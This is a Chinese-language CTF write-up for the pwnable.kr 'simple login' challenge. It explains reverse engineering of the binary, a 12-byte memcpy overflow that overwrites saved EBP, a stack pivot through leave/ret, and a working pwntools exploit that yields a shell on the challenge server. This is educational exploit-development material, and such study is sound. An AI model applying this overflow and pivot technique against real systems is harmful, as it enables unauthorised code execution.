pwnable.kr [Rookiss] - [simple login]

Can you get authentication from this server?

Download : http://pwnable.kr/bin/login

Running at : nc pwnable.kr 9003

Rookiss 初体验就从相对熟悉的逆向这一块开始好了。

下载好文件后发现是 elf 64 ,在虚拟机上简单跑一跑,要求输入一个 Authenticate ,程序会返回一个 hash 值,猜测是登录验证需要验证 hash,随即猜测正常流程应该走不通。而 romote host 又无法实现爆破,再猜测是需要溢出 :P

然后到物理机用 IDA 直接静态分析程序流程,茫茫多的静态模块....
不过还好程序流程并不复杂,粗略看了 IDA 的流程分析后,可以直接在程序入口处 F5, F4, F3;当前也可以直接看!

分析程序流程的过程无法用简单的语言描述, 反正看就是了。
笔者通过 IDA 插件转化的伪代码和汇编指令结合分析执行流程。
main 函数的 Snowman F3 插件转换的伪代码如下:

int32_t main() {
    void** esp1;
    int32_t v2;
    int32_t eax3;
    int32_t eax4;
    void* esp5;
    void** esp6;
    uint32_t eax7;
    int32_t eax8;

    esp1 = (void**)(((uint32_t)((int32_t)"zero stack offset"() - 4) & 0xfffffff0) - 64);
    memset((uint32_t)esp1 + 30, 0, 30, v2);
    eax3 = g811b860;
    setvbuf(eax3, 0, 2, 0);
    eax4 = g811b864;
    setvbuf(eax4, 0, 1, 0);
    printf("Authenticate : ", 0, 1, 0);
    esp5 = (void*)(esp1 - 1 + 1 - 1 + 1 - 1 + 1 - 1 + 1);
    __isoc99_scanf("%30s", (uint32_t)esp5 + 30, 1, 0);
    memset(0x811eb40, 0, 12, 0);
    esp6 = (void**)((uint32_t)esp5 - 4 + 4 - 4 + 4);
    eax7 = Base64Decode((uint32_t)esp6 + 30, esp6 + 6, 12, 0);
    if (eax7 > 12) {
        puts("Wrong Length", esp6 + 6, 12, 0);
    } else {
        memcpy(0x811eb40, 0, eax7, 0);
        eax8 = auth(eax7, 0, eax7, 0);
        if (eax8 == 1) {
            correct(eax7, 0, eax7, 0);
        }
    }
    return 0;
}

分析得到程序的大致执行流程如下:

  • main 函数执行输入 Authenticate
  • Authenticate 由 Base64 解码后判断长度是否大于12,大于则提示 Wrong Length
  • 输入长度合理将解码后的字串用 memcpy 函数存入0x8114b40处
  • 之后转入 auth 函数,参数中包含解码后的字串和其长度
  • auth 函数通过 memcpy 复制内容到一个 int 类型的局部变量中
  • 计算参数的 md5 hash 并与 f87cd601aa7fedca99018a8be88eda34 相比较
  • 比较结果如果为相等,则返回 true,否则返回 false
  • 返回 main 函数,判断 auth 函数的返回值
  • 如果 auth 返回 false,则程序退出
  • 如果 auth 返回 true ,进入correct 函数
  • 判断地址 0x811eb40 处前 8 个字节是否为 0xdeadbeef,若是,则输出成功信息并得到 shell ;否则退出程序

简单分析完毕后差不多就有一点思路了,正常流程既要验证 hash,前8个字节又要固定,基本是不可能的。
这里主要还是要利用栈溢出。溢出的点自然是在auth 函数调用的 memcpy 这里了。为了准确性这里直接分析该位置的汇编代码:


pwnable.kr [Rookiss] - [simple login]_第1张图片

可以看到在 call memcpy mem(des, src, len) ,上方依次压入了三个参数(从右到左),分别是 len ,src,des。通过计算 0Ch + var_14 = 0Ch - 14h = -8,可知 des 的地址在 ebp 的上方(低地址处),偏移为 8 字节,而我们最多可输入 12 字节的内容,所以当输入 12 字节时,ebp 会被淹没。故而可以通过控制 ebp 的值来控制程序流程。
auth 返回处的汇编代码如下:

.text:0804930B                 leave
.text:0804930C                 retn

这两个指令可以转化为

mov esp, ebp  ;esp的内容为ebp指向的栈地址
pop ebp       ;ebp = ebp指向的栈地址中保存的值,esp + 4

pop eip       ;程序转到 esp + 4 指向的地址执行

在这个程序中,只有输入的字串 Authenticate 是完全由我们控制的,设这里 Authenticate 经过 Base64 解码后为 playload。

那么第一次 leave retn 执行结束后,ebp = 淹没的 4 字节数据,即 playload 的最后 4 个字节内容;
第二次 leave retn 执行结束时,执行 mov esp, ebp 使得 esp 为 playload 最后 4 个字节的值,两次pop 后,得到 eip = playload 最后 4 个字节的值 + 4 的空间中保存的值。

接下来的问题是怎么构造 playload。由于 playload 为 12 字节,而这里淹没的数据块和劫持流程的地址加起来为 8 字节,所以这里 playload 很好地满足跳板的要求。

这里我们构造 playload 最后 4 个用来淹没 ebp 的字节值为 playload 的起始地址;中间 4 个字节的值就可以传递到 eip 来控制程序流程,头 4 个字节作为长度填充(当然也可以在 playload 前 8 个字节中任选4字节位置放入需要传递给 eip 的值,最后 4 字节的值为所需 eip 的值的地址 - 4 即可,其他 4 字节内容作为填充)。

中间的 4 个字节比较好分析,直接到 correct 函数的输出成功信息处:(跳过前4个字节的验证)


pwnable.kr [Rookiss] - [simple login]_第2张图片

可以看到需要劫持程序前往的地址为0x08049278。

最后还需要去找 playload 的起始地址,最简单的方法就是在 IDA input offset 处双击即可看到:


pwnable.kr [Rookiss] - [simple login]_第3张图片

可以看到 playload 的起始地址为 0x0811EB40。

终于可以写 exploit 了!填充内容是什么无关紧要,本着尊敬题目的原则,playload起始 4 字节的内容在这里还是根据 '0xdeadbeef' 来进行 Base64 加密,用 pwntools 构造 exploit如下:


from pwn import *

FILL = 0xdeadbeef
SHELL = 0x08049278
BUF = 0x0811EB40
HOST = "pwnable.kr"
PORT = 9003

loginer = remote(HOST, PORT)
playload =  (p32(FILL) + p32(SHELL) + p32(BUF)).encode("base64")

loginer.recvuntil("Authenticate :")
loginer.sendline(playload)

loginer.interactive()

loginer.close()

不出意外地得到了 shell:

$ python exploit_login.py 
[+] Opening connection to pwnable.kr on port 9003: Done
[*] Switching to interactive mode
 hash : b307a813333efb8b1a35c6e5b5cbbabe
Congratulation! you are good!
$ ls -l
total 7852
-r--r----- 1 root simplelogin      58 Jun 10  2014 flag
-rw------- 1 root root        7070263 Mar 23 07:26 log
-r-xr-x--- 1 root simplelogin  955184 Jun 10  2014 simplelogin
-rwx------ 1 root root            784 Oct 23 07:43 super.pl
$ cat flag
control EBP, control ESP, control EIP, control the world~

正如 flag 说的,溢出的核心在我看来就是利用程序的某个漏洞找到跳板,绕过程序的各个验证机制,逐步劫持执行流程的过程。
切莫贪食,切莫不食。路还很长。


ELF 文件的逆向往往不像 PE 一般可以通过一些强大的 debugger 像 OllyDbg 和 WinDbg一样可以很简洁明了地进行调试,但也可以通过一些调试工具如 gdb 等进行动态分析。笔者在分析这题的 elf64 文件时就用到了 IDA 的远程动态调试功能 Remote Linux Debugger 来分析 ebp 被淹没后程序的执行流程,简单的搭建和操作之后会有介绍。

你可能感兴趣的:(pwnable.kr [Rookiss] - [simple login])